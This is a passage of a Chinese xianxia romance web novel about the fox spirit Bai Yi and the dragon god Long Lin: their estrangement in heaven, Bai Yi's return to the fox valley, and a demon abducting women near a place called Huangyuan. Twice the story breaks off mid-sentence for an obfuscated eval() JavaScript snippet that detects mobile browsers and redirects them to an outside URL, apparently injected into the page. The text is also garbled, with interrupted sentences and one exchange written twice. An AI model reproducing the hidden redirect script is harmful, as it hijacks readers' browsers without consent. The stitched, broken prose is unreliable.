“什么?他们要结为道侣了?我不在的这些日子,竟出了这么多事?” 更让使命难以置信的是,那位静竹公主居然会答应。 白亦盯着司命的神情,终于问出压在心底的话:“龙霖......真的将我忘了吗?” 司命叹了口气:“想来是忘了,他特意找月下仙人要了药。而且听司晨说,他这两年从未提起过你。” “那我......”白亦喃喃道,“更不能留在启祥殿丢人现眼了。” 司命长叹一声,手指轻轻敲着案几:“这样十五日后我要下界一趟,到时候你随我走吧。想来启祥殿仙侍众多,少一个也不会有人察觉。” 白亦点头应下,偷偷溜回启祥殿。刚推开房门,就见余青在屋内来回踱步,见他回来,一个箭步冲上前:“白云!你去了哪里?你可算回来了。” 声音里是掩不住的如释重负。 “我就在殿里随便逛逛......” 白亦话音未落,一道冷冽的声音从门外传来:“撒谎。” 龙霖负手踏入,他盯着白亦,声音不疾不徐,却让人脊背发凉:“云邃难道没告诉过你?我最讨厌有人在我面前说谎。” 白亦低垂着眼,被龙霖的语气吓到了,于是不敢狡辩。 “你怕我?”龙霖忽然问。 上神的威势如山岳倾轧,压得人喉头发紧,连“不怕”两个字都说不出来。 “不……怕的。” 龙霖的脸色肉眼可见地阴沉下来。 龙霖说:“下次再说谎,就按启祥殿的规矩受罚。” 白亦站在原地,直到余青小心翼翼碰了碰他的手肘,才回过神来。 以前龙霖也说他满嘴谎话,不知悔改,白亦看着他的背影,他真的不算是个坦诚的人,对龙霖撒过的谎更是不计其数,白亦心想这真的是最后一次了。 余青让他休息吧,而后又道:“我们将启祥殿上下都找了一遍,你都不在,你下次要出去请示一下上神,别一声不吭就离开了。” 白亦皱眉:“找我?” 白亦看着越走越远的龙霖,难道是发现自己不见了担心他。 余青道:“上神想让你去将他的寝殿打扫一番,结果哪里都寻不到你。” 白亦心想自己真是自作多情:“……好,我待会就去。” 白亦站在寝殿门外,轻轻叩了三下门扉。确认里头没有动静后,才小心翼翼地推门而入,他动作极轻,带着十二分的谨慎。 收拾妥当准备离开时,案几上手札引起了他的注意。白亦伸手去整理,忽然瞥见半张露出边角的画像,女子繁复的裙摆线条依稀可见。他猛地将手札重重合上,像是被烫到般缩回手。 他害怕看见什么不想看的东西, 门外恰在此时响起脚步声。 白亦匆忙退到一旁,垂首禀告房间已打扫完毕,转身就要离开。 “站住。”龙霖的声音从身后传来,“过来伺候我沐浴。” 启祥殿的浴池氤氲着雾气,白玉砌成的池壁在烛光下泛着柔和的色泽。 龙霖在他面前张开双臂,白亦下意识环住那截腰身,手指灵活地解开了腰带。动作熟稔得仿佛回到了封阳县的小院,他还是那个为夫君更衣的小妻子。 直到对上龙霖深不见底的目光,白亦才如梦初醒。他故意让手指变得笨拙起来,磕磕绊绊地解到里衣时,突然退后半步:“上神......剩下的还是您自己来吧。” 白亦耳尖那抹红晕格外醒目。 龙霖挑了挑眉,没说什么,径自解开了里衣。动作干脆利落,丝毫没有避讳的意思,惊得白亦慌忙别开眼。 明明当初在凡间什么都做尽了,此刻却连余光都不敢乱瞟,他的视线无处安放,最终不自觉地落在那道横贯腹部的伤疤上,盘踞在原本光洁的皮肤上,那是拔下逆鳞留下的印记。 白亦甚至可以想象出那得多痛。 天劫过后的龙霖,是怀着怎样的心情亲手剜下那片逆鳞?白亦不敢深想,或许是对他失望透顶,又或许......他还没理清思绪,龙霖已经抬手遮住了那道疤痕入水去了。 九重天的浴池比凡间的不知宽敞多少倍,池水泛着莹润的玉色,水面上漂浮着各式养身灵物,还有几味白亦叫不上名字的珍稀药材。 “过来给我揉揉头。”龙霖的声音从雾气中传来,带着不容拒绝的命令。 白亦还沉浸在方才的思绪里,挪步过去,指尖刚触到龙霖的发丝,熟悉的动作让他恍惚回到了从前,龙霖枕在他膝头,他这样一下下给他揉着脑袋。就在他出神的刹那,一股无形的力量突然将他往前一拽。 “哗啦——” 水花四溅,白亦抬手抹了把脸,湿漉漉的发丝贴在额前,与龙霖四目相对时,他眨了眨眼,露出一副无辜至极的表情。 “上神,我真不是故意摔下来的。” 龙霖忽然倾身逼近,鼻尖几乎要碰到他的鼻尖。那双眼睛深不见底,明明白白写着“我看你怎么编”。 哗啦一声水响,龙霖站起身,灵力卷来岸边的衣袍,转眼就穿戴整齐。 “这么喜欢泡,罚你泡足一个时辰。少一刻都不行。”龙霖临走前回头瞥了他一眼,“别想跑,会有人盯着你。” 白亦的肩膀瞬间垮下来,看着龙霖的背影消失在雾气中。 他本想装装样子难受一番,谁知这池水实在太过舒服,温热裹着药香,像双温柔的手抚过全身,让他反噬后受伤的肉身都得到了滋养。 白亦不知不觉就趴在了池边,眼皮越来越沉,最后竟直接睡了过去。水面上的灵药随着他的呼吸轻轻浮动,映着殿顶的明珠光晕,恍若一场朦胧的梦。 他晕晕乎乎地想,龙霖也太会享受了。 白亦醒来时,发现自己躺在寝殿的床榻上,身上湿透的衣衫不知何时被换成了干净的里衣。他茫然地拥被坐起,怎么也想不起自己是如何回来的。 第二日清晨,他拉住余青询问,对方却只是摇头:“我也不知。” 龙霖则去了往生河畔巡视。那条河是仙魔两界的交界处,两年前魔界新君曾率大军压境,扬言要踏平三界。 当时龙霖亲率天兵 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白亦点点头,他声音里带着说不出的怅然,目光飘向远处缭绕的云海:“真羡慕你们这些神仙。” 妖的身份像一道天堑,从最初就隔断了他与龙霖之间所有的可能。 听云撇撇嘴:“做神仙也没什么好的。这九重天万万年都是一个模样,规矩多得能压死人,身边人永远板着同一张脸。我听说凡间四季轮转,妖界自在逍遥,那才叫有意思呢。” 白亦怔了怔,伸手揉了揉听云的发顶,小童的发丝柔软得像初生的绒毛。 “你说若是......”他犹豫着开口,“有人做错了事,伤了人心,该怎么挽回?” 听云:“云邃上仙说过!知错能改,善莫大焉。只要诚心道歉,至少自己问心无愧。” 白亦没想到那个整日骂骂咧咧的云邃,竟能说出这般通透的话来,还真是小看了他。 龙霖归来前一日,司命神神秘秘地将白亦带到一株参天古树下。 那树干粗得十人合抱都围不住,枝桠上密密麻麻系满了香囊,每个香囊周围都浮动着细碎的流光,像夏夜的萤火,又像未干的泪痕。 “这是什么呀?”白亦仰头望着。 司命开口说:“这叫三生树,每个下凡渡劫的神仙的经历都封存在这里。” 他摘下一个绣着金线的香囊,放在白亦掌心:“你和龙霖的。” 香囊打开的瞬间,流光如水倾泻,在他眼前交织成画,红烛高照的喜堂,他顶着盖头与龙霖交拜;琼林宴后,新科状元打马游街;府邸门前,他倚着朱门朝归人浅笑;烟火漫天时,龙霖将他裹在怀里...... 最后定格在龙霖苍白的面容,在白亦怀中化作金龙冲天而去。 画面戛然而止。 那些鲜活的记忆重新涌上来,仿佛昨日才发生过。 白亦重新合住香囊,那些流光又进了香囊。 司命望着他恍惚的神情,轻声道:“你若觉得徒增伤感,不必勉强收下。” 白亦却将香囊紧紧攥在手心:“我要,谢谢你,这是很珍贵的记忆。” 十五日转瞬即逝。 最后那几天,白亦在龙霖面前格外谨小慎微,龙霖问他反省得如何? “我不该撒谎,往后定当诚实,也不会再冒失了。” 龙霖从鼻腔里哼出一声,面色竟缓和几分:“希望你记住今天的话。” 白亦虚心求教:“上神,你一般恨一个人要多久才会原谅他啊?” 龙霖问他:“我为什么要原谅?” 白亦心想他果然这辈子也没办法得到龙霖的宽恕。 要离开的时候,白亦溜进了白亦的书房,他放下那颗灰扑扑的珠子,那是他用来遮掩妖力的浮灵珠,底下压着的宣纸上,歪歪扭扭写着: “对不起,龙霖。珠子送给你,是宝贝。” 白亦站在约定好的云台边,周身妖气不受控制地外泄。司命匆匆赶来时,脸色骤变:“你的妖气怎么——” “别问了,”白亦打断他,“我们快走吧。” 司命于是召云来,迎面撞上静竹公主领兵巡视。她肩扛长剑,银甲在月光下泛着寒光,突然驻足:“哪里来的小妖!” 天兵瞬间将二人团团围住。静竹眯眼打量白亦,突然嗤笑出声:“狐狸精?” 白亦瞳孔骤缩:“……你……你怎么认得出我?” “这等粗浅的障眼法,也配瞒过我的眼睛?” 白亦浑身发冷——若静竹能看破,那龙霖呢?还未细想,司命突然拽过他,一脚将他踹上云头。响指声落,眼前景象天旋地转。 再睁眼时,白亦已跌坐在不知名的荒山头,好不容易从一个灌木丛里爬出来。 头顶着杂草,他连忙查看怀中物品是否有遗失,从怀中摸出的那个香囊时松了一口气,仔细一看那香囊静竹与白珣的名字并排绣在上面。 这是白亦偷来的,那日司命带他去往三生树,他第一眼看到的便是自己大哥的名字。 17.再见 白亦的手指无意识地抠着膝盖,整个人灰扑扑的像从泥里滚过一遭。发间还挂着半截枯草,随着他低头的动作轻轻晃动,他翻了三座山,回到了狐谷。 白亦跪着,膝盖硌得生疼。偶尔偷偷抬眼,瞥一眼周围端坐的狐族长老们,又立即垂下头。正上方,白银半阖着眼斜倚在座上。 “浮灵珠呢?”苍老的声音在洞内撞出回音。 白亦的头几乎要埋进胸口:“......丢了。” “你的修为怎么回事?” “......没涨,还跌了。” 白银突然冷笑一声:“去找过你那不成器的哥哥了?” 白亦一个字也没敢吐出来。 白银皱纹里都透着疲惫:“罢了,不问你了,老祖宗我还想多活几年。” 她撑着扶手站起来,枯瘦的手指在檀木杖上敲了敲:“自己去石牢反省。” 白银刚转身要走,忽然又停住,狐疑地回头:“你没在外头招惹什么情债仇债吧?” 话刚出口她就自己摆了摆手:“是我想多了,就你这个样子,哪有你哥那惹是生非的本事。" 老人家的白发泛着银灰,语气突然轻快起来:“正好你如今回来了,火狐岭的火狐狸大王你知道吧?那老东西的闺女在招亲,你们这代算是废了,我还是直接培养下一代混种狐狸崽子吧。" 白亦听得出来老祖宗话里话外的嫌弃,更不想娶什么火狐大王的女儿,他想了想,举起手心虚地说:“老祖宗......其实我、我在凡间的时候,不小心跟个凡人好上了......后来才发现......他是个神仙......” 白银佝偻的身子抖了抖,半晌才从牙缝里挤出几个字:“......多不小心......” 白亦低着头不做声。 “......算了,多大的神仙?”白银的声音突然紧绷,“就算再大的神仙......” “......真龙上神。" 白银:“…………” 洞口的月光突然被层层叠叠的阵法遮住,几本泛着青光的古籍和一床绣着狐纹的锦被被扔了进来,差点砸到白亦的脚。他扑到阵法前,掌心贴着流光溢彩的屏障:“……究竟要关我多久?” 洞外的小狐狸甩了甩尾巴,声音脆生生的:“小少谷主,老祖宗说了,必须把这些都学会,才能出来。” 白亦回头看了一眼那快堆成山的典籍,叹了口气,认命伸手捡起被褥裹在身上。 他就这么坐在地上开始看,脊背抵着冷硬的石壁,时时练,日日练,直到那些字句在梦里都能淌出来。 一年后。 白亦熟练地演示完最后一道功法,指节屈伸时带起的气流搅碎了浮尘,在光线里划出几道仓促的弧线。 白银伸手解开那里三层外三层的禁锢咒术,语气淡得听不出起伏:“幸好,虽然脑子不好使了,天赋还在。” 白亦:“我可以出去了吗?” 白银点头。 白亦迫不及待地跑了出去。 一名狐族侍从望着那道倏忽远去的背影低声道:“小少主性子还是沉稳了不少,若是以前哪里能够安安分分地呆上一年。” 白银没接话,远处霞光正漫过枯枝。半晌他才开口:“他们两兄弟……其实小的那个天赋更好,只是性子散漫,天不怕地不怕。” “我以为老大最合适将来领导狐族,他规整,克制,天生就该坐在那个位置上,只是原来套在框子里的人失起控来才最疯。” “爱而不得,自甘堕落。” “也不能全怪大公子。”身旁的狐族长老低叹一声,“当初是那九重天欺人太甚,他们将神女渡劫失败原因归功是大少引诱,大少被逼坠落魔界,最虚弱时,连凡铁都能刺穿他的护体灵气,更何况是那神女淬了毒的一刀。” “你也知道那地方……”长老闭了闭眼,“能活下来的,只能变得妖不妖,魔不魔。” 白银沉默良久,抬手按了按眉心,像是要压下某种翻涌的情绪,最终只是低声道:“我狐谷几千年才出一个白珣。” ——天生九尾,灵骨通透,本该是立于云端的人物。 可如今呢? “就那么被毁了。”她像是不忍说出口,却又不得不承认。 所幸还活着。 可活着,有时候比死了更折磨人。 白银忽然抬头,看着白亦离开的方向:“我怕……再折一个白亦。” “他说的那位上神……”白银顿了顿,“我曾耳闻。” 那是连九重天众仙都要俯首称臣的存在,翻掌间便能碾碎一方天地。 “是我们招惹不起的人物。” 白银心想,他要早日将白亦带回正途。 白亦站在石柱后的阴影里,指节抵着冰冷的石面,硌得生疼。 远处白银和长老的声音一字一句传来,像钝刀割进血肉,原来当年哥哥坠落魔窟,不是意外,是被静竹亲手推下去的,妖仙之间注定没有结果。 他忽然想起很久以前,白珣半蹲下身在他面前,指尖拂过他发顶,眼角微弯,袖口沾着晨露的清冽气息说:“哥以后是要做谷主的,我会好好守着这谷中每一位族人,也会好好守着你。" 他哥掌心干燥温暖。 可后来在魔界重逢时,白亦带着龙霖的逆鳞,亲眼看见他哥撕开魔物的咽喉,鲜血喷溅在苍白的面颊上,顺着下巴滴落成线。 白珣抬头时瞳孔缩成细针,那张曾经俊朗的脸此刻只有麻木,喉结滚动着咽下血肉,直到嗅到同源的血脉气息才猛然僵住。 后来白珣神智回笼的第一件事,就是把他推出魔界裂缝。 白亦死死攥着他哥的衣袖说自己不害怕,不离开,可白珣硬是掰开他的手指,将他推了出去。转身时衣摆扫过满地碎骨,再没回头。 白珣不肯再见他,也不敢再见他。 他哥以前最爱干净,也最讲究,却满手鲜血踏着白骨尸骸,只为了活下去,也为了复仇。 白亦坐在铜镜前,镜面泛着微微的昏黄,映出他许久未见的眉眼。 身后的小狐狸替他梳发,梳齿划过发丝的触感让他有些恍惚,太久没以这副模样示人了,镜中那张脸熟悉又陌生。 狐谷近日不太平。 附近的村落接连传来消息,有东西在暗处猎食小妖,连路过的凡人也不放过。 白银将出谷的令牌扔给白亦,责令他去找回那三个失踪的女狐,担起少谷主的责任。 白亦接令。 只是他带着几个狐族青年出谷没多久,就不知道自己的喜讯已经传遍了几座偏头了。 天色阴沉,风中夹杂着淡淡的腥气。他们循着线索一路追查,最终停在了一座古朴的庄院前,藏剑山庄的牌匾高悬,漆色斑驳却气势不减。 这地方在妖界颇有名气。 老板娘夏玲珑是修行千年的藤妖,一颦一笑间自带妖物的妩媚,却又因常年与凡人打交道而多了几分烟火气。店主则是凡间修士,眉目间自带一股凛然正气。人妖混杂的庄子能安然存在至今,靠的便是铁打的规矩,无论是人是妖,闹事者一律驱逐。 白亦站在山庄门前,隐约能听见里头传来的谈笑声。 白亦带着人踏入藏剑山庄时,扑面而来的喧嚣声让他略微怔了怔,修士们围坐在大堂论剑品茶,几个化形未全的小妖在角落里嬉闹,空气中飘着酒香与淡淡的妖气,竟有种诡异的和谐。 夏玲珑倚在柜台边,一袭绛红纱裙衬得肌肤如雪,见他进来便挑眉笑了:“少谷主这也是来寻失踪的族人?”她尾音微微上扬,带着几分了然。 白亦他目光扫过墙上贴的寻人告示,几张泛黄的纸上墨迹犹新:“这些都是最近才失踪的人吗?” 夏玲珑点头,腕间玉镯随着动作轻轻相撞,发出清脆的声响。她忽然压低声音,涂着蔻丹的指尖捂住唇:“您大概还不知道,那些人恐怕是魔物带走的。” “魔物?” “乱蹿的魔物听说不止一个,”她凑近了些,衣领间的幽香若有若无,“不知道从哪里钻出来的?专挑正值妙龄的美貌女子下手,有名门正派的女弟子被抓,听说命牌最后感应到的位置就在不远的荒渊,奴家害怕死了。” 白亦皱眉:“美貌女子?” 他说这话时下意识瞥了夏玲珑一眼。对方先是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570612|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一愣,随即捂嘴笑得花枝乱颤,发间的钗子晃出细碎的光斑。 “少谷主,”她用力拍了下白亦的手臂,袖口滑落露出一截皓腕,“奴家已经不是少女了,是美妇。” 白亦吃疼地搓了搓着自己的手臂。 他这次带出来的是狐族四兄弟,狐狸窝一窝几胎是常事,白东是大哥,作为长子坐在首位,往下依次是白南、白西、白北,个个肩宽腿长,肌肉虬结,往那一坐就把白亦衬得小了一圈。 他们狼吞虎咽的样子活像饿了几百年,白亦默默从快要见底的盘子里抢救出最后一个鸡腿。 “听好,”白亦用筷子敲了敲碗沿,清脆的声响总算让四颗的脑袋抬了起来,他咬了口鸡腿:“明天咱们先去荒渊探探路,见势不对立刻撤。” 白东把最后一块红烧肉塞进嘴里,鼓着腮帮子点头:“少谷主,我们都听你的。” 其余三兄弟跟着附和。 白亦满意点头,低头继续啃他的鸡腿。 大堂里突然灌进一阵冷风,烛火猛地摇晃,在白亦背后的墙上投下凌乱的影子。 他还没反应过来,就听见对面“啪嗒”一声——白西手里的半只鸡翅掉进了汤碗里,油花溅了一桌。 “你别浪费......”白亦话还没说完,整个人突然腾空而起。白东铁钳般的手臂箍着他的腰,像夹包裹似的把他往外带。 他茫然抬头,恰好撞进一双漆黑的眼睛里。 龙霖就站在前门口,黑袍上的暗纹在烛光下若隐若现。更糟的是,他身边还一左一右站着静竹和司晨。 仙气十足,整个大堂瞬间炸开了锅。 原本推杯换盏的妖物们现了原形,狐狸尾巴和兔子耳朵乱晃,桌椅翻倒声此起彼伏。 等白东终于把他放下时,他们已经逃到了山庄外的林子里。周围七零八落蹲着同样惊魂未定的妖族,有的连人形都维持不稳,耳朵和尾巴全炸了出来。 白亦抹了把嘴上的油,低头看见自己衣襟上沾着的酱汁,突然觉得刚才那个鸡腿吃得实在不是时候。 夜风穿过林间,带起一阵簌簌的响动。白西的牙齿还在打颤:“有……有神仙……” 白亦机械地举着那半个凉透的鸡腿。故作镇定地“嗯”了一声。 旁边传来“扑通”一声——有只道行尚浅的兔妖直接吓晕过去,现了原形瘫在落叶堆里。白亦忽然觉得胸口发闷,那种缺氧般的眩晕感一阵阵往上涌。 他确实没想过会再见到龙霖。 更没想过会是在这种情形下,嘴角沾着油渍,手里抓着鸡腿,活像个偷吃被抓现行的蠢狐狸。 等到确认没有追兵,众妖才七手八脚在土坡上刨了个浅坑。 白家四兄弟找到个山洞,白亦蜷在洞窟最里侧,双手交叠放在小腹,姿势端庄。那短短几秒的对视不停地循环播放,龙霖的瞳孔像是烙在了脑海里,怎么眨眼都挥之不去。 不远处四兄弟的鼾声此起彼伏,白东还在磨牙。白亦缓缓抬手,平静地捂住了耳朵。 白亦最终还是抵不过困意,迷迷糊糊地睡了过去。 半梦半醒间总觉得耳畔有温热的气息拂过,脸上有什么拂过,他无意识地翻了个身,后背便贴上一片暖意,像被阳光晒过的皮毛般熨帖。 晨光刺破眼皮时,白亦猛地坐起身,身下的枯草发出细碎的声响。洞口处传来脚步声,白东浑身湿漉漉地走进来,发梢还在滴水,身后的三个兄弟同样狼狈,衣摆都浸透了晨露。 “你们大清早去哪了?”白亦揉了揉发酸的脖颈,狐疑地打量着他们。 白东困惑地抓了抓头发:“少谷主,我们一醒来就在林子里了。” 他转头看了看同样茫然的兄弟们:“昨晚明明睡在洞里的,难不成……一起梦游了?” 白亦摆摆手,懒得深究这些细枝末节。他走出山洞伸了个懒腰,晨曦将他的影子拉得修长。筋骨舒展时发出轻微的脆响,他反手一握,长剑便凭空出现在掌心,剑刃划破空气时带起一声清越的铮鸣。 “别管那些无关紧要的小事了,”他手腕一转,剑尖在阳光下闪过一道寒芒,“我们躲开那些神仙,会一会那个魔物去。” 18.荒渊 荒渊像一道狰狞的伤疤横亘在大地上,深不见底的峡谷中翻涌着黑雾。 白亦叼着根狗尾巴草趴在崖边。 “少谷主,咱们要盯到什么时候?”白东趴在一旁,已经换了三个姿势。 白亦坐起身,拍了拍沾满草籽和沙子的衣袖,布料发出簌簌的声响。 “不下去盯着,难道直接跳下去送菜?”白亦摸了摸下巴,“等摸清再说。” 就这样守了一天一夜,晨露打湿了肩头又晒干,连魔物的影子都没见着。 倒是在第三日破晓时分,白亦揉着酸涩的眼睛,忽然瞥见一个熟悉的健硕身影,正是怀曼当年的相好。 “......你怎么在这?” 昊焱的眉头拧成结,眼底烧着两簇怒火,却又被更深的忧虑压得发暗,他攥着锤柄的手青筋暴起:“我娘子临盆在即……那日我不在家,想去置办些东西……” 触到伤心处,便是昊焱声音也突然哽住:“回来时人就不见了,几只鼠精说看见是团黑影把她卷走了。” 白亦的眉头也跟着皱起来。 “对了,”昊焱突然话锋一转,“我在藏剑山庄见着你那老情龙了。” 他那句老情龙说得太过自然,引得四兄弟齐齐看向他。 白亦被呛得咳嗽一声:“......你不害怕?” 昊焱摸了摸后脑勺:“怕啥,要收我们早动手了。当年在凡间,我和娘子还帮过他忙,要不是我们替他遮掩气息,他哪能那么快追上你。” “我同他说我娘子被抓了,他还记得我,就扔了句‘我们是来追查此事的,不用紧张,没想做什么’,扭头就走了。” 白亦恍然大悟:“原来是你们帮他的......我说呢......” 突然一个念头闪过,他眉头一皱——龙霖怎么还会记得昊焱?司命明明说过,他亲自去找月下仙人要了忘情药。这个疑问还没来得及细想,荒渊那边突然传来一声巨响。 远处不知哪个不要命的修士,竟往深渊里扔了团火球。 刺目的红光划破黑雾,转瞬就被深渊吞噬得干干净净。 “怪物!还我妹妹!”愤怒的吼声在峡谷间回荡,紧接着是令人毛骨悚然的寂静。 一团粘稠的黑影顺着雾气缓缓上爬,像毒蛇般缠上那人的四肢。黑影越收越紧,眼看就要勒住脖颈—— 白亦的剑光已经劈了过去,推开那白衣修士,对他说快走,寒芒斩断黑影的瞬间,那团黑雾竟像活物般扭曲着,转而向他袭来。 白亦后撤半步,剑尖在空气中划出个凌厉的弧线,衣摆被激荡的气流掀起。 白亦的身体骤然僵住,那黑影如毒蛇般缠上他的剑刃和双腿,冰冷的触感透过衣料渗入骨髓。 他果断松开剑柄,眼中闪过一丝妖异的金芒,指甲瞬间暴长寸许,泛着寒光划开缠绕的黑雾。 后退时靴底碾碎了几块碎石,身后突然传来白东变了调的喊声:“少谷主!小心!” 散落的黑影在他背后诡异地蠕动着,重新凝聚成狰狞的形态,挟着阴风直扑而来。白亦双臂交叉挡在面前,被逼得连连后退,脚跟已经悬在深渊边缘,碎石簌簌滚落进无底黑暗。 就在黑影即将触及面门的刹那,一道金光炸开。 龙霖不知何时出现在身侧,掌心残留着未散的法力余韵,另一只手搂住白亦的腰往前一带,将他推送至安全地带。 白家四兄弟立刻围上来,在他身上各处拍打检查:“少谷主,伤到哪了?骨头没事吧?” 那黑影非常识相,见了真龙便逃窜离开。 白亦刚要开口,龙霖已经拾起那柄掉落的剑。修长的手指夹着剑柄递过来,剑穗在风中轻轻摇晃,刃上映出两人模糊的倒影。 “你的剑。” 龙霖声音平波无澜,却让白亦莫名想起从前。 白亦犹豫着伸手接过,手指难免和龙霖的手指相触,而后飞快地收了回去:“多谢。” 白亦接过剑,指尖与龙霖的手一触即分,剑柄上还残留着对方掌心的温度。他垂下眼睫:“多谢。” 白东:“没事就好,少谷主,咱们先走吧。” 语气急得像是身后有火在烧。 白亦抬眼看向龙霖,想说什么。 “我说龙霖你怎么跑这么快,”静竹的声音突然插进来,带着几分戏谑,“原来是救狐狸精来了。” 她和司晨不知何时出现在崖边,衣袂被深渊的风吹得猎猎作响。 白亦的目光在静竹脸上停留了一瞬,眸色暗了暗。他后退一步,朝龙霖拱手:“多谢上神出手相助。” 转身时衣摆划出个利落的弧度,带着白家兄弟头也不回地离开。 龙霖望着那道渐行渐远的背影,眉头不自觉地皱起。静竹凑过来,满脸困惑:“那狐狸精干嘛瞪我?我跟他可无仇无怨。” 司晨叹了口气:“您二位干点正事吧。一个大晚上见不着,一个白日里不见踪影——” “你们看这底下有什么?” 仙力窥探,深渊深处传来黏稠的蠕动声,像是无数触须在岩壁上爬行。 龙霖站在崖边,他垂眸凝视着下方翻涌的黑雾,声音沉得像是浸了寒潭的水:“魔气冲天,明日下去瞧瞧。” 自从知道龙霖他们并无恶意,加之看见昊焱敢上前同龙霖随意搭话,胆子大的妖就重新住回了藏剑山庄。 白亦竖着耳朵蹲在回廊下,听见几个小妖窃窃私语说明日神仙要下荒渊的事。 他变回原身抖了抖耳朵尖,趁着暮色溜到龙霖房间后窗,利落地攀上窗棂,肉垫踩在木框上没发出半点声响。 从窗口跃下时,柔软的狐爪踏在地板上。白亦竖起耳朵警惕地环顾四周,他轻盈地跳上床榻,锦被上还残留着冷松般的气息——龙霖不在。正犹豫要不要改日再来,门外突然响起由远及近的脚步声。 身体比脑子反应更快,白亦一个猛子扎进被褥里。 等反应过来时,已经把自己裹成了个鼓包。他在黑暗中眨了眨眼,后知后觉地意识到自己这举动有多蠢——明明是来商量正事的,躲什么躲? 至于为什么不走正门......白亦把鼻子从被子里拱出来,郁闷地喷了口气。要是被那些妖族看见他半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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龙霖坐在床边,一只手随意搭在膝头,另一只手慢条斯理地顺着他的尾巴毛,指腹时不时蹭过敏感的尾根:“不舒服吗?那我松手好不好?” 白亦忙不迭点头,耳尖红得能滴血。谁知下一秒脚踝突然被扣住,整个人被猛地拽倒。 龙霖欺身压上来时,白亦还能闻到对方衣襟上沾染的冷松香。 白亦被龙霖这么一压,后背陷入柔软的锦被里,理智顿时摇摇欲坠。 白亦结结巴巴,声音都打着颤:“你......你做什么......” 尾音还没落下就变了调,因为龙霖的指尖已经滑到他腰间,从狐狸化作人身,白亦身上未着///寸缕。 都是做过夫妻的人,彼此身上哪处最敏感早就刻进了骨子里。龙霖的呼吸喷在他耳后的软肉上,灼热得几乎要烫伤皮肤。白亦的手指无意识地揪紧了身下的被单,布料在掌心皱成一团。 “我什么不能做?”龙霖的声音压得极低,每个字都像是从牙缝里挤出来的,带着几分狠劲。他的手顺着腰线往下滑,掌心温度烫得惊人,“你这般来我房里,我自然什么都能做。” 19.没忘 龙霖最后一个字几乎是贴着耳垂咬出来的,激得白亦猛地一抖,脚趾都蜷缩起来。 白亦颈侧突然传来一阵刺痛,龙霖的牙齿抵在那处脆弱的皮肤上,不轻不重地咬了一口。他脑子“嗡”地一声,手指下意识抵住龙霖的肩膀,指尖能清晰地感受到布料下绷紧的肌肉线条:“我来找你......是有正事的,龙霖,你冷静一点。” 耳边传来一声低沉的闷笑,胸腔的震动透过相贴的身体传来。 果然,箍在腰间的力道松了几分,但龙霖仍保持着将他困在身下的姿势:“你说。” 白亦意识到两人的姿势根本不适合谈正事,龙霖垂落的发丝扫在他锁骨上,从这个角度能看到对方线条分明的下颌,还有领口若隐若现的锁骨。他猛地别开眼,暗骂自己这时候还能分神:“你是不是明日要去荒渊?” “嗯。” “那你能不能带上我一起。”白亦努力忽略腰间那只存在感极强的手。 龙霖忽然撑起身子,眸子直直望进他眼底:“为什么?” 白亦:“......我的族人可能在下面。” 他试图推拒的手抵在龙霖胸前,却使不上力气,于是只能用商量的语气开口说:“上神,你能不能先起来。” “不想。”龙霖答得干脆,手臂反而收得更紧,将人牢牢困在方寸之间。 白亦心想这人怎么总是这样......随心所欲,不讲道理。 龙霖忽然抬手拨开他额前的碎发,指尖若有似无地擦过眉骨:“怎么把珠子给我了?” 果然,龙霖早就认出了他。从云邃上仙那里设计将他带回启祥殿,根本就是早有预谋。 白亦别开眼,声音发闷:“我......跟你交换的。对不起,拿了你的逆鳞。” 龙霖的目光落在他低垂的眉眼上。白亦的唇瓣因为紧张而微微湿润,泛着浅淡的水光,呼吸间还带着若有似无的梅子酒香,定是来之前喝了酒壮胆。从前这人一沾酒就控制不住露出耳朵,现在修为精进,倒是能藏得住了,尾巴被他握着收不回去。 白亦视线落在龙霖衣襟的暗纹上。 龙霖忽然捏住他的下巴:“看着我说话。” 被迫抬眸的瞬间,龙霖语气危险:“我让你好好反省,你就找到机会逃了是不是?” 白亦胸口突然涌上一股无名火,他直呼其名:“龙霖,你是不是喝了忘情水了。” “喝了又怎么样?” 白亦抿紧了唇,半晌才憋出一句:“......我们人妖殊途,发乎情......止乎礼......你松开我。” 龙霖:“可我们做过夫妻,更亲密的事也做过了,这也没什么吧。” “......无耻。”白亦耳根通红。 “是你不穿衣服出现在我面前。还骂我。”龙霖语气无辜。 白亦“我”了半天,羞恼道:“我只是没掌握好这门法术!我们做妖的没这么随便!” “我难道就很随便?” 白亦皱眉看他,明知自己没立场生气,还是忍不住酸溜溜道:“谁知道呢。”话一出口就后悔了,不敢看对方的表情。龙霖突然收紧手臂,将他整个人按进怀里,心跳声震耳欲聋。 “白亦,昧着良心说话会遭天谴的?” “你忘了,我自然也忘了。” 龙霖突然从袖中取出一个香囊,白亦瞳孔骤缩,伸手就要去抢,不知何时被龙霖摸了去。可还没等他碰到,香囊就在龙霖掌心化作了缕缕青烟,飘散在空气中。 “反正我们都忘了,这东西也没存在的必要了。” 白亦嘴唇微微发抖,眼眶瞬间红了:“你怎么能这样!” “那是我唯一......”当做慰藉的东西。 剩下的话卡在喉咙里,化作大颗大颗的泪砸下来。白亦胡乱抹着脸,抽噎着骂:“我真的讨厌你死了!” 眼前的龙霖和记忆里那个凡间身影重叠又分开。那时候的龙霖会给他熬药,会替他绾发,会在他伤心难过的时候握着他的手。而现在这个冷冰冰的神仙,只会欺负人。他再也不想看见这张脸了,哪怕一眼都让他心口发疼。 “云邃上仙说得果然没错,”白亦带着哭腔,“你这个人奸诈狡猾得要死。” 龙霖:“你还提他。”声音沉得吓人。 